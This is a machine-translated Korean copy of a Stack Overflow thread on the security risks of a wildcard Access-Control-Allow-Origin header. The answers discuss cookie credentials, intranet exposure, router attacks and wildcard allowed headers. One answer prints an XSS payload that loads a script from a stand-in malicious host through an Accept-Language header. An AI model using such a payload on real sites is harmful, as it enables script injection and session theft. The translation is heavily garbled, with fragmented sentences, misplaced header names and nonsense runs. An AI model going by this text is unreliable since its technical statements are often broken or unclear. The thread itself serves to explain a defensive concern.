모든 도메인을 받아들이도록 Access-Control-Allow-Origin을 설정할 경우 어떤 보안 위험이 있습니까?
저는 최근에 세팅해야 했어요.Access-Control-Allow-Origin
로로 합니다.*
AJAX의 약칭입니다.보안상의 문제인 것 같습니다.설정을 유지하면 어떤 위험에 노출됩니까?
「」로 합니다.Access-Control-Allow-Origin: *
요청된 리소스는 모든 오리진과의 공유를 허용합니다.이는 기본적으로 어떤 사이트에서도 XHR 요청을 사용자의 사이트로 전송하여 서버의 응답에 액세스할 수 있음을 의미합니다.이것은, 이 CORS 응답을 실장하지 않은 경우와는 다릅니다.
따라서 모든 사이트가 방문자를 대신하여 귀하의 사이트에 요청을 하고 응답을 처리할 수 있습니다.브라우저에 의해 자동으로 제공되는 것(쿠키, 쿠키 기반 세션 등)에 기반한 인증 또는 인가 방식 등이 구현되어 있는 경우 서드파티 사이트에 의해 트리거된 요청도 이러한 방식을 사용합니다.
이는 특히 선택한 리소스뿐만 아니라 모든 리소스에 대해 리소스 공유를 허용하는 경우 보안 위험을 초래합니다.이 맥락에서 당신은 언제 CORS를 활성화하는 것이 안전한지 살펴봐야 한다.
갱신(2020-10-07)
자격 증명 모드가 다음과 같이 설정된 경우 현재 가져오기 표준에서 자격 증명을 생략합니다.include
if, if, if, if.Access-Control-Allow-Origin
로 설정되어 있다.*
.
따라서 cookie 기반 인증을 사용하는 경우 요청 시 자격 증명이 전송되지 않습니다.
Access-Control-Allow-Origin: *
표준 자격 증명이 아닌 다른 것으로 보호되는 개인 데이터가 해당 리소스에 포함되지 않는 한 리소스에 추가하는 것이 완전히 안전합니다.표준 자격 증명은 쿠키, HTTP 기본 인증 및 TLS 클라이언트 인증서입니다.
예: 쿠키에 의해 보호되는 데이터는 안전합니다.
https://example.com/users-private-data
사용자의 로그인 상태에 따라 개인 데이터가 노출될 수 있습니다.이 상태에서는 세션쿠키가 사용됩니다.추가해도 안전합니다.Access-Control-Allow-Origin: *
이 헤더는 cookie 없이 요청이 이루어지는 경우에만 응답에 액세스할 수 있으며 cookie는 개인 데이터를 가져오기 위해 필요합니다.그 결과 개인 데이터가 유출되지 않습니다.
예: 위치/IP/내부 네트워크에 의해 보호되는 데이터는 안전하지 않습니다(불행하게도 인트라넷 및 가전제품에서는 일반적입니다).
https://intranet.example.com/company-private-data
개인 회사 데이터를 공개합니다.단, 회사의 와이파이 네트워크에 접속하고 있는 경우에만 액세스 할 수 있습니다.추가하는 것은 안전하지 않습니다.Access-Control-Allow-Origin: *
이 리소스는 표준 자격 증명이 아닌 다른 자격 증명을 사용하여 보호되기 때문에 이 리소스에 할당됩니다.그렇지 않으면 잘못된 스크립트가 인트라넷에 대한 터널로 사용될 수 있습니다.
경험칙
사용자가 위장 창에서 리소스에 액세스할 경우 어떤 결과가 나타날지 상상해 보십시오.를가 볼 수 것이 「」를 추가하는 합니다.Access-Control-Allow-Origin: *
.
AFIK, Access-Control-Allow-Origin은 서버에서 브라우저로 전송되는 HTTP 헤더일 뿐입니다.특정 주소로 제한(또는 비활성화)한다고 해서 로봇에게 사이트가 안전해지는 것은 아닙니다.로봇이 원한다면, 그들은 그냥 헤더를 무시할 수 있다.일반 브라우저(익스플로러, 크롬 등)는 기본적으로 헤더를 사용합니다.그러나 Postman과 같은 애플리케이션은 그것을 무시한다.
서버 엔드는 응답을 반환할 때 요청의 'origin'이 무엇인지 실제로 확인하지 않습니다.http 헤더를 추가합니다.액세스 컨트롤 헤더를 읽어내고, 거기에 대응하기로 결정한 요구를 송신한 것은 브라우저(클라이언트 엔드)입니다.XHR의 경우 특별한 'OPTIONS' 요청을 사용하여 헤더를 먼저 요청할 수 있습니다.
따라서 크리에이티브 스크립팅 능력을 가진 사람은 헤더에 설정되어 있는 모든 것을 쉽게 무시할 수 있습니다.
「Access-Control-Allow-Origin 설정」의 잠재적인 시큐러티 문제를 참조해 주세요.
이제 실제로 질문에 답하려면
저는 제 환경을 보안 위험에 빠뜨리고 있다는 느낌을 받지 않을 수 없습니다.
공격하려는 사용자는 Access-Control-Allow-Origin을 쉽게 우회할 수 있습니다.그러나 '*'를 활성화하면 공격자에게 HTTP 헤더를 따르는 일반 웹브라우저를 사용하는 것과 같은 몇 가지 '공격 벡터'를 더 제공할 수 있습니다.
와일드카드에 정말로 문제가 있는 경우는, 코멘트로 투고되는 2개의 예를 다음에 나타냅니다.
내가 은행 웹사이트에 로그인한다고 가정해 보자.다른 페이지로 이동한 후 은행으로 돌아가도 쿠키 때문에 로그인한 것입니다.인터넷상의 다른 유저는, 제 은행과 같은 URL 에 액세스 할 수 있습니다만, 쿠키가 없으면 제 계정에 액세스 할 수 없습니다.발신기지간 요구가 허가되어 있는 경우, 악의 있는 Web 사이트가 효과적으로 유저를 가장할 수 있습니다.
– 브래드
Linksys WRT54g 등의 공통 홈라우터가 있다고 가정합니다.라우터가 크로스 오리진 요구를 허가하고 있다고 가정합니다.Web 페이지의 스크립트는, 공통의 라우터 IP 주소(192.168.1.1.1 등)에 HTTP 요구를 송신해, 공격을 허가하도록 라우터를 재설정할 수 있습니다.라우터를 직접 DDoS 노드로 사용할 수도 있습니다(대부분의 라우터에는 ping 또는 간단한 HTTP 서버 체크가 가능한 테스트페이지가 있습니다.이들은 집단으로 악용될 수 있다.)
– 브래드
이러한 코멘트는, 실생활의 예로서 문제를 설명하고 있기 때문에, 해답이 되어야 한다고 생각합니다.
이 답변은 원래 이 질문에 대한 답변으로 작성되었으며 이 질문과는 관련이 없음에도 불구하고 병합되었습니다.
「」로 *
는 모든 헤더가 안전 리스트 이외의 것을 허용하고, 그것들을 안전하게 유지하는 제한을 삭제하는 것을 의미합니다.
4개의 세이프리스트 헤더가 안전하다고 간주되는 제약사항은 다음과 같습니다.
- Content-Language의 : Accept-Language "Content-Language"로 할 수 .
0-9
,A-Z
,a-z
또는 , 「」*,-.;=
.- 「Content-Type」(「Content-Type」) 「CORS-unsafe」(「CORS-unsafe」)를 받아들입니다.
0x00-0x1F
)0x09
(),"():<>?@[\]{}
, , , , 입니다.0x7F
(DEL)- : 타입(파라미터이 Content-Type: "MIME" ("MIME") 중 .
application/x-www-form-urlencoded
,multipart/form-data
, 「」text/plain
.- 임의의 헤더의 경우: 값의 길이는 128을 초과할 수 없습니다.
간단하게 하기 위해서, 이 머리글에 근거해 답하겠습니다.
서버의 실장에 따라서는, 이러한 제한을 없애는 것만으로(사용자에게) 매우 위험한 일이 있습니다.
예를 들어 이 오래된 워드프레스 플러그인에는 XSS의 취약성이 반영되어 있습니다.이 취약성은 다음과 같습니다.Accept-Language
는 해석되어 그대로 페이지에 렌더링되어 악성 페이로드가 값에 포함될 경우 사용자의 브라우저에서 스크립트가 실행됩니다.
헤더 " " " " " 를 합니다.Access-Control-Allow-Headers: *
사이트에서는 의 값을 ""로 할 수 Accept Language: <script src="https://example.com/malicious-script.js"></script>
와일드카드를 사용하면 위의 포인트1의 제한이 해제됩니다.
그 후 프리플라이트 응답에 의해 이 요구가 승인되고 사용자는 사용자의 사이트로 리다이렉트되어 브라우저에서 XSS가 트리거됩니다.이로 인해 성가신 팝업에서 쿠키 하이잭에 의한 계정 제어 상실까지 영향을 미칠 수 있습니다.
따라서 페이지에 아무것도 렌더링되지 않는 API 엔드포인트가 아니라면 와일드카드 설정은 하지 않는 것이 좋습니다.
설정할 수 .Access-Control-Allow-Headers: Pragma
★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★
값은 " " 입니다.*
는 credential이 없는 요구(HTTP cookie 또는 HTTP 인증정보가 없는 요구)의 특수한 와일드카드 값으로만 카운트됩니다.그렇지 않으면 리터럴헤더로 읽힙니다.문서
서버가 아래 헤더를 설정하여 CORS를 완전히 디세블로 하려고 하는 시나리오.
Access-Control-Allow-Origin: * (서버가 임의의 ORIG로부터의 사이트 간 요구를 받아들이는 브라우저를 표시)
Access-Control-Allow-Credentials: true(사이트 간 요청이 쿠키를 전송할 수 있음을 브라우저에 알립니다)
브라우저에 Fail Safe가 구현되어 있어 다음과 같은 오류가 발생합니다.
"Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’"
에서는 '을 'Access-Control-Allow-Origin'으로 설정합니다*
문제가 되지 않습니다.단, 공격으로부터 보호하기 위해 서버는 허용된 오리진 목록을 유지할 수 있으며 서버가 크로스 오리진 요구를 수신할 때마다 허용된 오리진 목록에 대해 ORIG 헤더를 검증한 후 Access-Control-Allow-Origin 헤더로 동일한 내용을 에코백할 수 있습니다.
브라우저에서 실행 중인 javascript로는 ORIGIN 헤더를 변경할 수 없으므로 악성 사이트는 이를 스푸핑할 수 없습니다.
언급URL : https://stackoverflow.com/questions/12001269/what-security-risks-exist-when-setting-access-control-allow-origin-to-accept-all
'programing' 카테고리의 다른 글
TypeError: 'float32' 유형의 개체는 JSON을 직렬화할 수 없습니다. (0) | 2023.03.08 |
---|---|
워드프레스 블로그를 정적 웹페이지로 github 페이지에 호스트할 수 있습니까? (0) | 2023.03.08 |
정의하다WP_DEBUG', true), 오류는 표시되지 않습니다. (0) | 2023.03.08 |
jQuery Ajax 호출 - 성공 시 변수 값 설정 (0) | 2023.03.08 |
Wordpress 로그인 이름으로 사용자 ID 가져오기 (0) | 2023.03.08 |